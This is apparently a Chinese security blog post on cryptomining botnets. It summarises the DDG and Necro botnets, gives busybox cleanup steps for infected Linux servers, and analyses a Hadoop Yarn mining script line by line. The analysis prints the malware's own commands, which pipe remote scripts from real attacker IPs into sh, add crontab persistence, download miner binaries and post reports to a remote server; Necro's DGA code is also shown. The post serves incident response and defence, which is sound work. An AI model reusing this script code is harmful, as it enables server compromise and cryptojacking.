概念
- 僵尸网络(Botnet,亦译为丧尸网络、机器人网络)是指骇客利用自己编写的分布式拒绝服务攻击程序将数万个沦陷的机器,即骇客常说的傀儡机或“肉鸡”(肉机),组织成一个个命令与控制节点,用来发送伪造包或者是垃圾数据包,使预定攻击目标瘫痪并“拒绝服务”。通常蠕虫病毒也可以被利用组成僵尸网络。
- 挖矿(英语:Mining),是获取虚拟货币的勘探方式的昵称。由于其工作原理与开采矿物十分相似,因而得名。此外,进行挖矿工作的比特币勘探者也被称为矿工。
由于挖矿的火热,一些心怀鬼胎的人开始利用僵尸网络控制"肉鸡"去进行攻击,找到符合挖矿需求的机器便开始进行攻击,一旦目标机器被攻破,便开始植入挖矿脚本,被攻击机器开始进行挖矿,"战利品"也会被脚本传回攻击者的钱包,一些丧心病狂的攻击者甚至直接用掉被攻击机器所有的资源,使被攻击机器上运行的程序无法继续正常运行,严重的甚至会影响到公司业务,因此我们需要了解一些常见的僵尸网络攻击方式,并在自己的能力范围内尽量的保证业务正常运行,如果可以的话分析脚本并彻底清理服务器的脚本残留是最好的
- DDG网络
DDG Mining Botnet 是一个活跃已久的挖矿僵尸网络,其主要的盈利方式是挖 XMR。从 2019.11 月份至今,我们的 Botnet 跟踪系统监控到 DDG Mining Botnet 一直在频繁更新,其版本号和对应的更新时间如下图所示:
其中,v4005~v4011 版本最主要的更新是把以前以 Hex 形式硬编码进样本的 HubList 数据,改成了 Gob 序列化的方式(gob(Go Binary 的简称),是 Go 语言自带的序列化编码方案,用法简洁,灵活性和效率很高,也有一定的扩展性。可以类比 Python 的 Pickle,用来对结构化数据进行序列化编解码以方便数据传输。);v5009 及以后的版本,则摒弃了以前基于 Memberlist 来构建 P2P 网络的方式,改用自研的 P2P 协议来构建混合模式 P2P 网络 。简化的网络结构如下:
右边服务器是 C&C Server,DDG 中称它为 xhub 节点,是一个超级节点,除了与各 Bot 相同的 P2P 通信功能之外,还具有以下功能:
- 统计各 Peer 信息( Peer 会向它注册,上传自身信息)
- 协助各 Peer 寻找到对方,xhub 节点里保存了大量的 P2P Peers 列表,它会在 Bot 向其注册的时候把一部分列表分享给 Bot;而每个 Bot 最多保存 200 条 Peers
<ip:port>
列表; - 承载原始的恶意 Shell 脚本、主样本和其他组件的下载服务
DDG 支持的传播途径,有以下几个:
- SSH 服务暴破;
- Redis 未授权访问漏洞;
- 针对 Nexus Repository Manager 3 RCE 漏洞(CVE-2019-7238)的利用;
- 针对 Supervisord RCE 漏洞(CVE-2017-11610)的利用
- Jenkins RCE 漏洞
- Nexus RCE 漏洞
- Hadoop Yarn REST API未授权漏洞
就 DDG 当前最新的 v5023 版本来看,DDG 有一些有趣的新特性:
- 用特定算法生成一个 4 字符的目录名,并在
/var/lib/
或/usr/local/
下创建相应的隐藏目录作为工作目录,存放本地配置信息和从 C&C 或 P2P Peer 下载到的文件或数据; - 自定义 Base64 编码的编码表(Alphabet);
- 对关键数据和文件频繁使用编码(Base64/Adler32)、加密(AES)、压缩(Gzip)和数字签名(RSA/ED25519)手段,以对抗分析和数据伪造;
- 除了以前的 slave Config 来控制 Bot 执行挖矿和传播任务,又新增了一个 jobs Config 文件来对 Bot 进行更复杂的任务控制;
- 自研 P2P 协议,并以此在 Nodes 之间交换最新各自持有的 C&C、Nodes 列表和恶意任务指令配置等信息,还可以在 Peers 之间传播恶意组件。
以 DDG v5023 版本的样本为例,其主要的执行流程,从恶意 Shell 脚本文件 i.sh 开始,如下所示:
DDG 每成功入侵一台主机,就会先执行这个 i.sh 脚本。 i.sh 主要执行 3 个任务:
- 篡改 Cron job,在
/var/spool/cron/root
和/var/spool/cron/crontabs/root
写入恶意 Cron job,每 15 分钟下载hxxp://67.205.168.20:8000/i.sh
并运行; - 下载并执行最新的 DDG 主样本文件;
-
检测目录
/usr/local/bin/
|/usr/libexec/
|/usr/bin/
是否可写 -
Necro网络
Necro是一个经典的Python编写的botnet家族,最早发现于2015年,早期针对Windows系统,常被报为Python.IRCBot,作者自己则称之为N3Cr0m0rPh(Necromorph).自2021年1月1号起,360Netlab的BotMon系统持续检测到该家族的新变种,先后有3个版本的样本被检测到,它们均针对Linux系统,并且最新的版本使用了DGA技术(一种算法,通过生成C2域名对抗检测),DGA代码如下:
import random
def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))
def gen_cc(time):
random.seed(a=5236442 + time)
return gen_random_str(16) + '.xyz'
def gen_DGA():
i = 0
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i = 0
i +=
gen_DGA()
DGA域名相关文档:https://www.secrss.com/articles/14369
从第3版的C2域名aveixucyimxwcmph.xyz出发,我们通过图系统成功的把3个版本的C2都关联起来,如下图所示:
其中,第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上,而第3版的C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过,这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人
Necro是一个相对较老的Python恶意程序,但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet,可谓"老树新春"
处理流程
busybox
- busybox 是一个集成了三百多个最常用Linux命令和工具的软件(二进制文件),busybox 包含了一些简单的工具,例如ls,cat和echo等等,还包含了一些更大,更复杂的工具,例grep、find、mount以及telnet等等
- 当被僵尸网络攻击并植入挖矿脚本后,你的系统命令可能会被劫持,一般的做法是挖矿病毒修改了系统的动态链接库配置文件/etc/ld.so.preload内容并引用了/usr/local/lib/libioset.so,这是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令,这个时候我们就需要使用busybox来执行命令,防止二次感染
关闭crontab
service crond stop
systemctl stop crond
修改hosts
busybox echo -e "\n0.0.0.0 xxx.com\n0.0.0.0 xxx.com" >> /etc/hosts
删除,创建,并锁定 crontab相关文件
使用chattr加i属性来防止文件被修改,查看具有哪些属性使用lsattr
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
备份重要的crontab,然后删除cron.d目录的其他文件
busybox rm -f /etc/cron.d/*
检查并删除下面目录是否有异常文件
busybox ls -al /etc/cron.daily
busybox ls -al /etc/cron.hourly
busybox ls -al /etc/cron.monthly
busybox ls -al /etc/cron.weekly
删除病毒相关执行文件和启动脚本
busybox find / -type f -name '*xxx*' busybox xargs rm -f
删除病毒进程
busybox pkill xxx
busybox pkill xxx
也可以使用:
busybox ps -ef | busybox grep -v grep | busybox egrep 'xxx' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'xxx' | busybox awk '{print $1}' | busybox xargs kill -9
删除被preload的so库
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
验证libioset.so被卸载
lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD
若结果为空,则该动态链接库被卸载;
若有输出,kill掉占用的进程,重复执行该步骤;
若反复执行后无法成功卸载该动态链接库,请执行服务重启操作
脚本分析
一般来说脚本通常是会做base64加密的,查看脚本真正的内容需要进行base64解析,工具网上一大堆,自行查找即可
下面我们分析一个Hadoop Yarn REST API 未授权漏洞利用 挖矿脚本
launch_container.sh
可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。
在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多
1.#!/bin/bash
2.
3.export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417"
4.export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417"
5....这里省略部分内容
6.export CONTAINER_ID="container_1527144634877_20417_02_000001"
7.export MALLOC_ARENA_MAX="4"
8.exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown"
9.hadoop_shell_errorcode=$?
10.if [ $hadoop_shell_errorcode -ne 0 ]
11.then
12. exit $hadoop_shell_errorcode
13.fi
x_wcr.sh
这部分代码主要针对已存在的挖矿进程、文件进行清理。
1.pkill -f cryptonight
2.pkill -f sustes
3.pkill -f xmrig
4.pkill -f xmr-stak
5.pkill -f suppoie
6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
7.ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
8.rm -rf /var/tmp/pscf*
9.rm -rf /tmp/pscf*
这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录
1.DIR="/tmp"
2.if [ -a "/tmp/java" ]
3.then
4. if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
5. then
6. if [ -x "$(command -v md5sum)" ]
7. then
8. sum=$(md5sum /tmp/java | awk '{ print $1 }')
9. echo $sum
10. case $sum in
11. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
12. echo "Java OK"
13. ;;
14. *)
15. echo "Java wrong"
16. pkill -f w.conf
17. sleep 4
18. ;;
19. esac
20. fi
21. echo "P OK"
22. else
23. DIR=$(mktemp -d)/tmp
24. mkdir $DIR
25. echo "T DIR $DIR"
26. fi
27.else
28. if [ -d "/var/tmp" ]
29. then
30. DIR="/var/tmp"
31. fi
32. echo "P NOT EXISTS"
33.fi
然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一
1.if [ -d "/tmp/java" ]
2.then
3. DIR=$(mktemp -d)/tmp
4. mkdir $DIR
5. echo "T DIR $DIR"
6.fi
7.WGET="wget -O"
8.if [ -s /usr/bin/curl ];
9.then
10. WGET="curl -o";
11.fi
12.if [ -s /usr/bin/wget ];
13.then
14. WGET="wget -O";
15.fi
16.f2="185.222.210.59"
这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到$DIR
目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"
添加到其中,这里$LDR
为wget -q -O -或者curl,任务每分钟执行一次
1.if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
2.then
3. downloadIfNeed
4. chmod +x $DIR/java
5. $WGET $DIR/w.conf http://$f2/w.conf
6. nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
7. sleep 5
8. rm -rf $DIR/w.conf
9.else
10. echo "Running"
11.fi
12.if crontab -l | grep -q "185.222.210.59"
13.then
14. echo "Cron exists"
15.else
16. echo "Cron not found"
17. LDR="wget -q -O -"
18. if [ -s /usr/bin/curl ];
19. then
20. LDR="curl";
21. fi
22. if [ -s /usr/bin/wget ];
23. then
24. LDR="wget -q -O -";
25. fi
26. (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
27.fi
脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed
这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php
1.downloadIfNeed()
2.{
3. if [ -x "$(command -v md5sum)" ]
4. then
5. if [ ! -f $DIR/java ]; then
6. echo "File not found!"
7. download
8. fi
9. sum=$(md5sum $DIR/java | awk '{ print $1 }')
10. echo $sum
11. case $sum in
12. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
13. echo "Java OK"
14. ;;
15. *)
16. echo "Java wrong"
17. sizeBefore=$(du $DIR/java)
18. if [ -s /usr/bin/curl ];
19. then
20. WGET="curl -k -o ";
21. fi
22. if [ -s /usr/bin/wget ];
23. then
24. WGET="wget --no-check-certificate -O ";
25. fi
26. echo "" > $DIR/tmp.txt
27. rm -rf $DIR/java
28. download
29.
30. if [ -x "$(command -v md5sum)" ]
31. then
32. sum=$(md5sum $DIR/java | awk '{ print $1 }')
33. echo $sum
34. case $sum in
35. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
36. echo "Java OK"
37. cp $DIR/java $DIR/ppc
38. ;;
39. *)
40. $WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1
41. echo "Java wrong"
42. sum=$(md5sum $DIR/java | awk '{ print $1 }')
43. case $sum in
44. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
45. echo "Java OK"
46. cp $DIR/java $DIR/ppc
47. ;;
48. *)
49. echo "Java wrong2"
50. ;;
51. esac
52. ;;
53. esac
54. else
55. echo "No md5sum"
56. fi
57.
58. sumAfter=$(md5sum $DIR/java | awk '{ print $1 }')
59. if [ -s /usr/bin/curl ];
60. then
61. echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt
62. curl -F "file=@$DIR/tmp.txt" http://$f2/re.php
63. fi
64. ;;
65. esac
66. else
67. echo "No md5sum"
68. download
69. fi
70.}
download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java
1.download() {
2. if [ -x "$(command -v md5sum)" ]
3. then
4. sum=$(md5sum $DIR/ppc | awk '{ print $1 }')
5. echo $sum
6. case $sum in
7. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
8. echo "Java OK"
9. cp $DIR/ppc $DIR/java
10. ;;
11. *)
12. echo "Java wrong"
13. download2
14. ;;
15. esac
16. else
17. echo "No md5sum"
18. download2
19. fi
20.}
download2方法则判断系统下载对应版本的挖矿程序,其中http://185.222.210.59/g.php返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc
1.download2() {
2. f1=$(curl 185.222.210.59/g.php)
3. if [ -z "$f1" ];
4. then
5. f1=$(wget -q -O - 185.222.210.59/g.php)
6. fi
7.
8. if [ `getconf LONG_BIT` = "64" ]
9. then
10. $WGET $DIR/java http://$f1/xm64?$RANDOM
11. else
12. $WGET $DIR/java http://$f1/xm32?$RANDOM
13. fi
14.
15. if [ -x "$(command -v md5sum)" ]
16. then
17. sum=$(md5sum $DIR/java | awk '{ print $1 }')
18. echo $sum
19. case $sum in
20. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
21. echo "Java OK"
22. cp $DIR/java $DIR/ppc
23. ;;
24. *)
25. echo "Java wrong"
26. ;;
27. esac
28. else
29. echo "No md5sum"
30. fi
31.}
在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务
1.pkill -f logo4.jpg
2.pkill -f logo0.jpg
3.pkill -f logo9.jpg
4.pkill -f jvs
5.pkill -f javs
6.pkill -f 192.99.142.248
7.rm -rf /tmp/pscd*
8.rm -rf /var/tmp/pscd*
9.crontab -l | sed '/192.99.142.232/d' | crontab -
10.crontab -l | sed '/192.99.142.226/d' | crontab -
11.crontab -l | sed '/192.99.142.248/d' | crontab -
12.crontab -l | sed '/logo4/d' | crontab -
13.crontab -l | sed '/logo9/d' | crontab -
14.crontab -l | sed '/logo0/d' | crontab -
至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:
- 清理相关的进程、文件和crontab任务
- 判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用https://transfer.sh提供备用下载,多种方式保障
- 增加脚本下载执行任务添加到crontab里
安全加固
- 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
- 如无必要,不要将接口开放在公网,改为本地或者内网调用
- 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
本文概念内容转载和参考了Netlab
DDG网络:https://blog.netlab.360.com/ddg-upgrade-to-new-p2p-hybrid-model/
Necro网络:https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/#dga
评论列表,共 10909 条评论